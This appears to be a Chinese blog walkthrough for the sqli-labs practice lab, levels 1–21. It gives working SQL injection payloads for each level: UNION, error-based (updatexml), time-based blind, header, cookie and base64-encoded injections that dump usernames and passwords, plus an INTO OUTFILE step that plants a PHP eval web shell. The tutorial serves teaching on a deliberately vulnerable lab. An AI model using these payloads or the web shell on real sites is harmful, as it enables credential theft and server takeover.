sqli-labs靶场(1-20)通关手册

Less1

首先在上方URL地址栏输入代码,判断是否存在注入点

?id=1' and 1=1 -- -

输入代码回车后,有回显,说明存在注入点,再输入下面的代码

?id=1' and 1=2" -- -

如上图显示,没有回显,说明可以利用 字符注入

确定好注入字符后使用下面的代码判断有多少列,超出列数则会报错,此处采用二分法,猜测尝试。

?id=1' order by 4 -- 

判断出有多少列后,再输入下方代码判断数据显示点(id要改为0或负数,使用UNION联合查询)

?id=0' union select 1,2,3 -- -

把id要改为0或负数的作用

确保联合查询的结果可见:通过将id设置为0或负数,攻击者可以确保原始查询返回的记录尽量少,甚至没有记录。这使得UNION查询的结果更容易被观察到。

避免意外的数据干扰:如果原始查询返回了很多记录,这些记录可能会掩盖联合查询返回的数据。将id设置为一个不可能存在的值(如0或负数),可以避免这种情况,从而更容易查看和分析联合查询的结果。

利用数据库的特性:在某些数据库系统中,id为0或负数的记录可能不存在。这有助于确保只有UNION查询返回的结果被显示。

使用下面的代码爆出数据库名称及版本信息

?id=-1'union select 1,database(),version()--+

爆出数据表名称

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出字段信息

?id=-99' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

爆出用户名和密码

?id=-99' union select 1,group_concat(concat_ws(';',username,password)),3 from security.users--+

Less2

首先判断注入点,在地址栏输入代码,

?id=1'and 1=1--+

发现报错,如上图所示,说明存在注入点,但不是用单引号进行闭合。

使用双引号依旧报错,且报错信息依旧如上图,看不到数字,推测为数字性注入,尝试下面的代码

id=1

如图,证明猜测正确。然后开始判断数据库的列数,判断数据显示点,然后开始爆破,获取信息,该部分操作与less1完全相同,只需把less1中的单引号去掉即可。代码及效果图如下

id=1order by 3 -- -

?id=-1 union select 1,2,3

?id=-1 union select 1,database(),version()

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

?id=-1 union select 1,2,group_concat(username ,id , password) from users

less3

除注入类型改变外,其余部分与前两关一致。

判断注入点

?id=1'

判断可能为括号闭合,输入代码

?id=1') --+

?id=1') order by 3 --+

?id=-1') union select 1,2,3--+

?id=-1') union select 1,database(),version()--+

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

less4

判断注入点

?id=1"

如图,证明存在漏洞

?id=1")--+

证明使用双引号闭合

接下来的爆破操作及代码与less3-------')的字符型注入基本一致,只需把单引号换成双引号即可。

less5

判断注入点,分别输入

?id=1

?id=1'

如上图,仅仅返回报错和You  are in.....界面,所以可以使用报错注入,且使用单引号闭合

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1--------爆出数据库名

updatexml(1,concat(0x7e,database(),0x7e),1)

  • updatexml:这是MySQL的一个函数,通常用于更新XML数据。在这个例子中,它被用作利用函数。
  • 1:这是updatexml函数的第一个参数,在这里无实际意义。
  • concat(0x7e,database(),0x7e)
    • concat:连接字符串的函数。
    • 0x7e:这是十六进制表示的~符号(即ASCII码126)。
    • database():这是MySQL的一个函数,用于返回当前数据库的名称。
    • 这个部分的作用是生成一个字符串,如~databasename~,其中databasename是当前数据库的名称。
  • 1:这是updatexml函数的第三个参数,在这里无实际意义。

由于updatexml函数的使用不当,它会生成一个错误消息,错误消息中包含我们构造的字符串,从而泄露当前数据库的名称。

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+    --------爆出表名

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+          --------爆出字段名

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+-------爆出字段下的内容

less6-------字符型错误回显注入

判断注入点,使用?id=1"判断报错得出为双引号字符型注入

其余爆破数据库信息的操作和代码与less5一致,只需把单引号改为双引号即可,详细代码参考less5

less7

在URL地址栏添加

?id=1'

发现报错如上图,此时我们判断出,闭合方式中含有单引号,我们假设只有单引号,加上or 1=1 --+ 如果完全闭合将不会报错,若未完全闭合,就会报错。

有报错,所以没有完全闭合,继续尝试加括号

?id=1'))

未报错,说明完全闭合。

没有回显和精确的报错信息,所以联合注入和报错注入无法使用。所以只能利用文件写入注入。

进行文件配置,首先进入到下图的文件下

按住shift在空白处单击鼠标右键进入cmd命令界面

输入:mysql -u root -p

show variables like '%secure%';

需要要将NULL更改,进行如下操作

双击打开图中文件

在箭头所指位置上方添加红色矩形框中的内容。完成后,再次回到命令行界面,输入之前的命令即可看到之前的NULL已经更改。

然后回到靶场界面,在地址栏输入以下代码

?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["123456"]);?>' into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php"--+

此时在地址栏进行的木马注入已经完成。

使用中国蚁剑连接木马

对应位置添加地址和密码(默认密码为root)

地址栏输入:

?id=-1')) union select 1,2,group_concat(username,0x7e,password)from users into outfile "C:\\phpStudy\\WWW\\result.txt"--+

less8

这一关与less7类似,只是注入的代码有些许变化。

判断闭合方式

?id=1'

?id=1"

?id=1' UNION SELECT 1,2,'<?php @eval($_POST["123456"]);?>' into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-8\\test.php"--+

less9

通过之前的验证方式验证时页面均没有改变

所以尝试时间盲注。

?id=1' and sleep(10) --+

页面没有立即刷新,所以可采取时间盲注

?id=1' and if(length((select database()))=8,sleep(10),1)--+

二分法尝试直到数据库长度为8是页面延迟刷新,证明数据库名长度为8

?id=1' and if(left((select database()),1)='s',sleep(10),1)--+  页面延迟十秒刷新,说明数据库名第一个字母为's'

?id=1' and if(substr((select database()),2,1)='e',sleep(10),1)--+

?id=1' and if(substr((select database()),3,1)='e',sleep(10),1)--+

以此类推逐个查询。

less10

通过之前的验证方式验证时页面均没有改变,无法获得有价值的信息

所以尝试时间盲注,发现使用双引号闭合时,页面有明显的延迟

?id=1" and if(length(database())=8,sleep(10),1) --+

所以这里需要用双引号闭合,后续的爆破数据库操作与代码与less9基本一致,只需将单引号改为双引号即可。详情参考less9

?id=1" and if(left((select database()),1)='s',sleep(10),1)--+

less11

post类型的注入,可以在每个输入框中尝试注入,首先在在username中使用单引号进行尝试

登录成功,说明为单引号闭合,无回显,可尝试联合查询注入

1'or 1=1 order by 2#判断列数

1' union select 1,2#判断显示点

' union select database(),2#,显示数据库名

' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#    显示数据表名称

'union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#   显示数据字段

'union select 1,group_concat(concat_ws(';',username)) from security.users#爆账号

'union select 1,group_concat(concat_ws(';',password)) from security.users#爆密码

less12

post类型的注入,可以在每个输入框中尝试注入

1") or 1=1#,当输入这条代码时登录成功,判断闭合方式为双引号加括号

后续操作步骤与代码与less11基本一致,只需将闭合方式改为双引号加括号即可。

less13

判断注入点

输入: \

报错提示如图,

输入:1') or 1=1#登录

无任何回显,可使用报错注入,闭合方式为单引号加括号

1') and updatexml(1,concat(0x7e,database()),1)#     爆出数据库名称

后续爆表名、数据字段等信息操作步骤和代码与less5基本一致,此处不过多赘述,详情参考less5

闭合方式改为单引号加括号即可

less14

判断注入点    

输入:\

报错信息:使用双引号闭合

1" or 1=1#

登录成功,爆破数据库名称。

" and updatexml(1,concat(0x7e,database()),1) #  爆出数据库名称

后续爆表名、数据字段等信息操作步骤和代码与less13基本一致,此处不过多赘述,详情参考less13闭合方式改为双引号即可

less15

无回显,使用各种符号结合or 1=1进行判断注入点

-1' or 1=1# 

判断闭合方式为单引号

爆数据库

1' or substring(database(),1,1)='s'# 
1' or database()='security'# 

less16

1") or 1=1#

判断出闭合方式为双引号+括号

爆数据库

1") or substring(database(),1,1)='s'#
1") or database()='security'#

less17

可以看到上面有一个大大的黄字,说是密码重置,那么一般遇到密码重置的页面,我们一般都是通过给出正确的用户名来进行修改,先对username判断有没有注入点

多次尝试,发现有做防护,只有在username完全是存在的用户名时才不会报错

username无注入点,接下来测试password

username:admin
new password:'

username:admin
new password:'and updatexml(1,concat(0x7e,database()),1) #

后续重复步骤不在过多演示

less18

判断注入点

在username和password中各种测试,发现除正常登录外无任何异常。

选择一个正常的账户进行登录

admin
admin

有回显,内容其实是请求头中的内容user-agent,抓包放入重放器

在重放器中找到我们的user-agent来判断是否存在注入点

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0)'

发现报错,可以采用报错注入

User-Agent: ' or updatexml(1,concat(0x7e,(select database())),1),1) #

得到数据库名,后续操作不再演示

less19

判断注入点
先使用admin,admin或一个确定的账户登录,查看回显

回显refer,用老办法尝试username和password处并不存在注入点,因此抓包判断refer

Referer: '

报错,发现闭合方式为单引号和括号,可以使用报错注入

爆破数据库名

Referer: ') or updatexml(1,concat(0x7e,database()),1)#

直接闭合单引号括号,报错猜测是插入语句

验证是否为插入语句

 ') #

插入语句报错

' or updatexml(1,concat(0x7e,database()),1))#


得到数据库名,后面不再演示

less20

依旧在username和password中找不到注入点

使用正确的账户进行登录admin,admin

抓包并上传到重放器,抓登陆后的

在username处进行尝试看看是否存在注入点

Cookie: uname=' ;

根据报错信息可知其使用单引号闭合

uname=' and updatexml(1,concat(0x7e,database()),1)#

得到数据库名,后面不再赘述

less21

判断注入点

使用正常用户登录admin,admin

刷新、抓包、Ctrl+R发送到重放器

判断注入点

Cookie: uname=Jw==;

根据报错信息可知,闭合方式为单引号+括号

Cookie: uname=JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCkpLDEpIw== ;

得到数据库名称,后面不再赘述


 

  • 13
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值